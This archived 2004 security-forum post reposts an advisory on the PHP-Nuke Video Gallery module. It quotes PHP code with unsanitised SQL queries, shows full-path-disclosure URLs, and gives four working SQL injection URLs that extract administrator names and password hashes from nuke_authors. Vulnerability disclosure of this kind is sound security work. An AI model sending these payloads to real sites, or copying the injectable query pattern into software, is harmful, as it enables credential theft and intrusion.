hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Multiple Vulnerabilities Php-nuke Video Gallery
GovernmentSecurity.org > The Archives > Exploit Articles
qcred11
Apr 27 2004, 02:56 PM
QUOTE

PROGRAM: PHP-Nuke Video Gallery Module for PHP-Nuke
HOMEPAGE: http://videogallery.engorile.com/
VERSION: 0.1 Beta 5
BUG: Multiple vulnerabilities
DATE:  26/04/2004
AUTHOR: DarkBicho
Email: darkbicho@peru.com

===========================================================================
===========================================================================


Vulnerabilities:
---------------

1.- CODE:
    จจจจ
================================ CODE ===================================
function render_detail_clip($clipid, $catid){
        global $prefix, $dbi, $module_name;
        $tipomime="application/unknown";
        $next=next_clips($clipid, $catid);
        $result=sql_query("select descripcion, url_thumb, url_preview, accesos from
".$prefix."_videos_clips where clipid=$clipid", $dbi);
        list($descripcion, $url_thumb, $url_preview,
$accesos)=sql_fetch_row($result, $dbi);
        $resultado=AbreTabla();
        if ($next["previous"]){
                $resultado.="<a
href=modules.php?name=$module_name&l_op=viewclip&clipid=".$next["previous"]."&catid=$catid>"._PREVIOUS."</a>";
        }
        $resultado.="</td><td align=right>";
        if ($next["next"]){
                $resultado.="<a
href=modules.php?name=$module_name&l_op=viewclip&clipid=".$next["next"]."&catid=$catid>"._NEXT."</a>";
        }
        $resultado.=CierraTabla().AbreTabla().$descripcion."</td></tr><tr><td>";
        if ($url_preview != ""){
                $tipomime=tipomime($clipid, "clips");
                $result2=sql_query("select class_id, options_object, options_embed from
".$prefix."_videos_tipos where tipomime='$tipomime'", $dbi);
                list($class_id, $options_object, $options_embed)=sql_fetch_row($result2,
$dbi);
                $resultado.="<center>".mete_video($url_preview, $tipomime, 160,
120)."</center>";

        }
        else{
                $resultado.="<center><img src=\"$url_thumb\"></center>";
        }
        $resultado.=CierraTabla().AbreTabla().votacion_clip($clipid, $catid);
        if (count_total($clipid, "clip", "ficheros") > 0){
                $resultado.=CierraTabla().AbreTabla().clip_files($clipid,
$catid).CierraTabla();
        }
        else{
                $resultado.=CierraTabla();
        }
        $accesos++;
        sql_query("update ".$prefix."_videos_clips set accesos=$accesos where
clipid=$clipid", $dbi);
        return "$resultado";
}

=========================================================================

2.- Full path disclosure:
    จจจจจจจจจจจจจจจจจจจจ

    This vulnerability would allow a remote user to determine the full
    path to the web root directory and other potentially sensitive
information.

    1)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=darkbicho

       Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in                                  
/home/hosting/php-nuke/includes/sql_layer.php on line 286

    2)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=darkbicho&catid=1

       Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in                                          
/home/hosting/php-nuke/includes/sql_layer.php on line 286



3.- Sql injection:
    จจจจจจจจจจจจจจ
    This sql injection exploit can pull out from database any information,
for example
    superadmin's username and password's md5 hash:


    1)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1

    2)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors

    3)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1

    4)
http://[target]/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1


SOLUTION:
จจจจจจจจ
    Vendors were contacted many weeks ago and plan to release a fixed
version soon.
    Check the Video Gallery website for updates and official release
details.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.